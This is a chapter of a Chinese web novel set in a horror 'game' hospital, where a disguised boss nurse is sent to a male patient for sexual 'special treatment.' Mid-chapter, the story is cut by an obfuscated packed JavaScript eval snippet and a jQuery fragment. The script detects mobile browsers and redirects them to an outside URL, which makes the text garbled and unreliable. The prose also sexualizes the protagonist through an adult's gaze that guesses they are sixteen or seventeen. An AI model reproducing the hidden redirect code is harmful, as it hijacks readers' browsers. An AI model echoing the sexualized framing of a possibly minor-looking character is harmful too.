【这是一座位于深山、与世隔绝的私人医院,名为弥赛亚医院。】
【多年以来,医院收容了无数感染特殊病毒的病患,为防止病毒扩散做出了巨大贡献。】
【这样的日子一直持续着,直到这个冬天,一支来路不明的探险队闯入深山,感染病毒后,被关进了医院强制治疗。】
【探险队一共有5人,目前住在医院2楼病房,感染症状各异。】
【副本详情解析中……】
【解析完毕】
【副本等级:C】
【玩家目标:逃生】
一段短暂的静默后,又是冰冷的男声提示音。
【异端罗荔,你是本游戏的boss,与玩家对立。】
【你的目标:诱导玩家内斗,阻碍玩家通关。过关玩家越少,你的积分越高。】
……
罗荔倏地睁开双眼。
面前是斑驳的墙面,四周充斥着消毒水的气味。
几名护士站在身边,手里拿着药品和记录表格,每个人都是神色匆匆的模样,面色呆滞,在灯光下泛出惨白的光。
她们都低着头,像是刻意躲避着什么。
而在这时,头顶传来一个严肃声音。
“……201房的病人说,昨晚的特殊治疗本该轮到他们病房,但是没有人去,所以让我问问是怎么回事,罗荔。”
罗荔茫然抬头,对上那个护士长漆黑到几乎没有眼白的一双眼睛。
什么……特殊治疗?
护士长皱了下眉头:“怎么了?你是不愿意吗?”
她这一质问,周围那些假人似的护士都齐齐看了过来,一模一样的漆黑眼睛,看得罗荔汗毛倒竖。
只能压下恐惧,道:“不、不是。”
“哼,你现在解释,也已经晚了。那个孟虎因为这件事,一直在病房里吵闹,非要你今晚再去一次。”
护士长顿了顿,质问他,“你明明知道他的情况,为什么还要惹上这个麻烦?”
听起来……这个孟虎是个很难缠的病人。
是病的很严重,所以要护士寸步不离地照顾着吗?
医院里确实常有这种病患。
罗荔连忙说:“啊,抱歉!我以后,一定多注意他。”
护士长的神色这才缓和了些:“那好,今晚你就去陪床吧。把他的生理需求解决了,大家也能清净点。”
生理……需求?
怎么感觉,好像哪里不大对劲。
与此同时,面前弹出了红色的任务窗,交代了他今晚要做的事。
【任务一:拒绝201病房内玩家的要求,防止他们在你身上找到线索。】
会有什么要求呢……
罗荔拎着药箱,来到201号病房前。
这医院和他以前待过的完全不一样,楼道幽黑冗长,房间却很少,且相隔极远,像是担心病人之间有所沟通似的。
不会有怪物吧……
不对不对!他不就是boss吗?该害怕的应该是玩家才对!
电影里不都是那么演的吗?进入刚恐怖游戏的玩家,哪个不是战战兢兢,提心吊胆,而自己只需要敲一下门,就能把他们吓个半死。
这样想着,罗荔鼓起勇气,推开了面前号码为“201”的病房。
刚刚把门推开一条缝,只听病床咯吱响起,一片黑暗中,缓缓勾勒出个极其高大壮硕的身影。
门后的男人语气十分不耐烦。
“谁?”
罗荔一下子懵了,膝盖发软,大脑完全宕机。
“我、我是罗荔……”
男人顿了一下,勾起一个意味不明的古怪轻笑。
“萝莉?”
“我还御姐呢。”
什么御姐……
这家伙在说什么啊?
罗荔抿紧粉唇:“我就叫罗荔!我是来治疗的护士。”
进入副本之前,系统告诉过他,他最基础的技能就是隐藏。不单是血条,连带着异常的一切,都会被掩盖。
譬如有别于女生的嗓音,异于普通NPC的容貌——在玩家那里,都会被强行扭转成“正常”的印象。
只要他不露出马脚,玩家,包括玩家随身携带的直播系统内的观众,都不会率先怀疑。
这是副本给予他这个小怪物的“特权”。
罗荔努力维持镇静,不敢抬头直视这男人。
病房内的灯坏了,只有走廊内一点昏暗光线,勾勒出面前小护士的身形。
高中生?十六岁……还是十七岁?
最小号的口罩也比脸蛋大了一圈,护士帽檐压得那么低,看不清脸。只有漆黑长发下露出一点点耳垂,白嫩得叫人移不开视线。
还有那双笔直的、雪白的、在他的目光下发软颤抖的,属于“少女”的美腿。
这病房里还有几个看热闹的义工,见状都不约而同地笑了起来。
“原来那天嫌孟虎又穷又老,说什么也不肯过来的就是你啊。”
“还以为是什么千金公主,这么娇贵,结果……不就是个普普通通的护士吗。”
说着,转向孟虎所在的病床,带着点戏谑道:“怎么样?人家都来了,你怎么连个笑脸也不给。”
医院里的人都知道,孟虎三十四岁,之前是工地上的农民工。
虽然长相刚毅、干活利索,但性格实打实的怪,不仅横,而且很拧巴,是出了名的一根筋。
当然,最让众人津津乐道的是,孟虎有“瘾”。
这所秘密的豪华医院如今虽然已经落败,但还保留一些昔日的特殊服务。
比如,专为某些有钱病人提供的,护士陪床抚慰服务。
也就是所谓的“特殊治疗”。
孟虎当然没有钱,一般来讲,这种好事轮不上他。
这份服务,本来是给他临床的那个青年的。
“吵死了。”
隔壁病床上传来一声冷喝,“多余的人,都给我滚出去。”
罗荔浑身一颤,下意识回头。
一副印象中给极其难以驯服的狗狗戴的止咬器,此刻紧扣在这青年脸上,上了许多铆钉。
不仅如此,他整个人浑身上下都弥漫着一股不好惹的气息,脖颈与手臂青筋暴起。
这野蛮的恶犬目光森冷,根本没有看他。
好像对他全然不屑一顾似的。
几个义工做了个投降的手势:“好了好了,吵着康哥了,快走吧。”
康驯没有看罗荔,对孟虎说:“你不是巴望着这护士来么?现在人来了,你还在这儿磨蹭什么。”
孟虎对上他的目光,什么也没说。
他确实没钱,但是同病房的康驯却是财力不容小觑的杀手,医院当然会给他安排特殊治疗。
可是康驯对这种事毫无兴趣,索性把这服务让给了他。
孟虎远远望着那娇小白嫩的小护士,过了好半天,才说:“你过来。”
罗荔战战兢兢坐到汉子的病床前,刚刚打开药箱,却听“哗”的一声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723212|173928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两张床之间的帘子被这壮汉拉上了。
他一颗颗解开上衣纽扣,缓缓露出黝黑的精壮狗腰。
孟虎瞄了一眼那只药箱。一堆没用的药,还有些纱布、绷带什么的,乱七八糟,装得倒是挺像那么回事儿。
可唯独没有他此刻最需要的东西。
男人拨拉了两下药箱,啧了一声。
“怎么该带的都不带,到底有没有人教过你该怎么做事。”
他把药箱合上,“你回去拿吧,老子等着。”
罗荔懵懵的,不知道自己是忘带了什么。他百思不得其解,可看着孟虎那样不耐烦的模样,又实在是不敢多问。
只能硬着头皮哦了一声,站起身来。
孟虎在他身后喊了一句:“要最大号的,听见没有?”
最大号的……
口罩吗?还是什么?
罗荔心虚地说知道了。
然而走到病房门口却发现,房门打不开了。
不知为什么,房间被人从外面上了锁,怎么打也打不开了。
罗荔尝试几次无果,只好回过头来告知两人实情。
他看孟虎和康驯的脸色都不大好,纠结了一下,试图缓和气氛,于是对孟虎说:“那个,我这箱子里面里面有很多种药,你要是有什么需要……呃,我是说,可以吃药解决呀。”
这一句话出来,房间里的气氛顿时变味儿了。
孟虎望着他,好半天才说:“吃药?”
“对、对呀。”
孟虎深深一笑,靠后躺了躺,语气里带点揶揄。
“算了吧,吃药太伤身体了,老子还没这么没人性。”
吃药怎么会伤身体。
罗荔更加搞不懂了。
“可是门打不开,我也出不去……”
一直沉默不语的康驯忽然在这时候开口:“要不然你换个人得了。这家伙看起来就什么也不会。”
他这句话很显然是对孟虎说的,“再耽搁下去,咱们都别想从这里出去了。”
孟虎却像听不见似的,目光只在面前小护士的身上上下掠过。
眼前白白瘦瘦的小美人浑身发抖,抱紧跟自己腰一样宽的登记表,有些难堪地扯了扯短裙边缘。
看着那么纯,却连该带的东西都不带,甚至扬言可以吃药。
好歹也是个成年人,连这点常识都没有?不可能吧?
不管怎么想,或许只有一种可能。
“她”比外表看起来的要开放得多。
孟虎直男了三十多年,本以为只有胸大腰细的美艳少妇才会给自己带来什么冲击力——毕竟他一向觉得自己对25岁以下的女生没有兴趣——可此时此刻,却莫名的,就是不想换人。
鬼使神差开口:“算了,没有就没有吧。搞出事情来再说。”
康驯不动声色地皱了下眉头。
而罗荔还是很紧张,他以为孟虎的声音忽然变得沙哑,是生气自己准备不周。思来想去,只能可怜巴巴地向康驯求助。
“那个,他要的东西,你、你有没有啊?”
“可不可以,借我一下……”
他料想两个人是同一间病房,病症应该也差不多。
所以孟虎需要的东西,康驯也许会有。
而病床上的青年扭过头来,望着他,忽然勾起一个一点也不友好的笑容。
“你找我借?”
他眯起那双充满攻击性的狼眼。
“你是说,你没带避孕套,所以要向我借?”